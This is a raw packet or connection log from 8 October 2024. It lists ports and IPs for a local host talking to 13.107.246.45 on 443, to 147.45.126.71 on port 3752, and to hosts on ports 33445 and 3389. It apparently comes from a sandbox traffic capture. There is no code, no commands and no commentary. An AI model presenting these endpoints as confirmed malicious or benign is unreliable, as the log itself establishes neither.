Oct 8, 2024 20:52:26.486788988 CEST	49854	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.486797094 CEST	443	49854	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.493177891 CEST	49860	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.493226051 CEST	443	49860	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.494204044 CEST	49860	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.494795084 CEST	49860	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.494808912 CEST	443	49860	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.655843019 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:26.662470102 CEST	443	49858	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.663433075 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:26.664163113 CEST	49858	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.664189100 CEST	443	49858	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.664618015 CEST	49858	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.664623976 CEST	443	49858	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.668754101 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:26.669862986 CEST	443	49857	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.670337915 CEST	49857	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.670361996 CEST	443	49857	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.670713902 CEST	49857	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.670721054 CEST	443	49857	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.674036026 CEST	443	49856	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.674599886 CEST	49856	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.674618959 CEST	443	49856	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.674994946 CEST	49856	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.675008059 CEST	443	49856	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.766546011 CEST	443	49859	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.777323961 CEST	49859	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.777348042 CEST	443	49859	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.777810097 CEST	49859	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.777822018 CEST	443	49859	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.780462980 CEST	443	49857	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.780544043 CEST	443	49857	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.784866095 CEST	49857	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.785453081 CEST	49857	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.785453081 CEST	49857	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.785475969 CEST	443	49857	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.785485983 CEST	443	49857	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.788757086 CEST	49861	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.788858891 CEST	443	49861	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.799343109 CEST	49861	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.799642086 CEST	49861	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.799660921 CEST	443	49861	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.805185080 CEST	443	49856	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.805701971 CEST	443	49856	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.805757999 CEST	443	49856	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.806296110 CEST	443	49858	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.806520939 CEST	443	49858	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.811400890 CEST	443	49856	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.815416098 CEST	443	49858	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.816178083 CEST	49856	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.816232920 CEST	49858	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.816502094 CEST	49856	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.816525936 CEST	443	49856	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.816540003 CEST	49856	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.816545963 CEST	443	49856	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.816608906 CEST	49858	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.816842079 CEST	49858	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.816857100 CEST	443	49858	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.816888094 CEST	49858	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.816895008 CEST	443	49858	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.825640917 CEST	49862	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.825689077 CEST	443	49862	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.829562902 CEST	49862	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.831166029 CEST	49863	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.831214905 CEST	443	49863	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.831295013 CEST	49862	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.831307888 CEST	443	49862	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.831409931 CEST	49863	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.831480026 CEST	49863	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.831496000 CEST	443	49863	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.878981113 CEST	443	49859	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.879049063 CEST	443	49859	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.886255980 CEST	49859	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.889178038 CEST	49859	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.889206886 CEST	443	49859	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.889225006 CEST	49859	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.889233112 CEST	443	49859	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.897952080 CEST	49864	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.897990942 CEST	443	49864	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.901882887 CEST	49864	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.903882980 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:26.903899908 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:26.903999090 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:26.904194117 CEST	49864	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.904212952 CEST	443	49864	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.904320002 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:26.904330969 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:26.904344082 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:26.904613018 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:26.904944897 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:26.905078888 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:26.905090094 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:26.905602932 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:26.905910015 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:26.910029888 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:26.910315990 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:26.917268038 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:26.917287111 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:26.917300940 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:26.917503119 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:26.918102026 CEST	49802	33445	192.168.2.9	130.133.110.14
Oct 8, 2024 20:52:26.918143988 CEST	49803	33445	192.168.2.9	194.249.212.109
Oct 8, 2024 20:52:26.967572927 CEST	33445	49803	194.249.212.109	192.168.2.9
Oct 8, 2024 20:52:26.967587948 CEST	33445	49802	130.133.110.14	192.168.2.9
Oct 8, 2024 20:52:26.990650892 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:26.990818977 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.001080036 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.006855011 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.007016897 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.007026911 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.007158995 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.012806892 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.012984037 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.013128042 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.014204979 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.014317989 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.017225981 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.017400980 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.017560959 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.017796040 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.026091099 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.026104927 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.026115894 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.027003050 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.034456968 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.034468889 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.034481049 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.039006948 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.039906025 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.040216923 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.040230036 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.042054892 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.045219898 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.045233011 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.045244932 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.052732944 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.052746058 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.052758932 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.055583954 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.059165001 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.059202909 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.059212923 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.059225082 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.068550110 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.118901014 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.118921041 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.118948936 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.119714022 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.119812965 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.119965076 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.119976044 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.120184898 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.120196104 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.120208025 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.120722055 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.120908022 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.121016979 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.121448994 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.121526003 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.121539116 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.121551991 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.122425079 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.122705936 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.123034954 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.123044968 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.125013113 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.125025034 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.125036955 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.128876925 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.128993988 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.128993988 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.130779982 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.130958080 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.133671999 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.134270906 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.134282112 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.136432886 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.136605024 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.136615992 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.141277075 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.142745972 CEST	443	49860	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.142854929 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.142868042 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.142884970 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.148674011 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.148686886 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.152297020 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.152321100 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.152333021 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.153305054 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.153306007 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.153544903 CEST	49860	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.153562069 CEST	443	49860	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.154012918 CEST	49860	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.154017925 CEST	443	49860	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.160720110 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.160733938 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.160787106 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.160933971 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.162791014 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.162822962 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.162844896 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.162894011 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.167246103 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.169675112 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.169688940 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.169702053 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.171459913 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.214195967 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.214212894 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.214226007 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.216618061 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.216636896 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.216649055 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.216825962 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.216825962 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.216825962 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.217603922 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.217622995 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.217634916 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.218663931 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.219448090 CEST	49866	3389	192.168.2.9	104.223.122.15
Oct 8, 2024 20:52:27.219686031 CEST	49867	33445	192.168.2.9	51.254.84.212
Oct 8, 2024 20:52:27.220041037 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.220067024 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.220077038 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.220092058 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.220767975 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.220801115 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.220819950 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.221401930 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.221415043 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.221429110 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.221880913 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.221894026 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.221905947 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.222381115 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.222393036 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.222405910 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.224912882 CEST	3389	49866	104.223.122.15	192.168.2.9
Oct 8, 2024 20:52:27.225011110 CEST	33445	49867	51.254.84.212	192.168.2.9
Oct 8, 2024 20:52:27.229990959 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.230010986 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.230024099 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.231656075 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.231695890 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.232088089 CEST	49866	3389	192.168.2.9	104.223.122.15
Oct 8, 2024 20:52:27.232152939 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.232177973 CEST	49867	33445	192.168.2.9	51.254.84.212
Oct 8, 2024 20:52:27.232810020 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.232835054 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.232846975 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.232909918 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.236092091 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.236105919 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.236118078 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.237823009 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.237837076 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.237848043 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.240520000 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.240534067 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.240545988 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.242580891 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.242805958 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.244492054 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.244510889 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.244523048 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.245897055 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.245908976 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.245920897 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.249866009 CEST	443	49860	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.249929905 CEST	443	49860	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.250915051 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.251096964 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.251108885 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.251116037 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.251197100 CEST	49860	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.251365900 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.251404047 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.251416922 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.251430035 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.251455069 CEST	49860	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.251472950 CEST	443	49860	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.251482964 CEST	49860	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.251488924 CEST	443	49860	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.252295971 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.254374027 CEST	49868	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.254403114 CEST	443	49868	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.254632950 CEST	49868	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.255027056 CEST	49868	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.255039930 CEST	443	49868	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.255646944 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.255814075 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.255826950 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.256167889 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.260879993 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.260902882 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.260916948 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.260930061 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.260943890 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.264667988 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.265794039 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.265810013 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.265821934 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.266021967 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.266249895 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.266331911 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.268652916 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.268678904 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.268690109 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.271795988 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.271985054 CEST	49866	3389	192.168.2.9	104.223.122.15
Oct 8, 2024 20:52:27.272087097 CEST	49867	33445	192.168.2.9	51.254.84.212
Oct 8, 2024 20:52:27.274672985 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.274748087 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.274760008 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.277581930 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.278816938 CEST	3389	49866	104.223.122.15	192.168.2.9
Oct 8, 2024 20:52:27.279416084 CEST	33445	49867	51.254.84.212	192.168.2.9
Oct 8, 2024 20:52:27.307599068 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.307702065 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.307713032 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.308522940 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.308829069 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.308876991 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.308890104 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.310069084 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.310200930 CEST	3752	49855	147.45.126.71	192.168.2.9
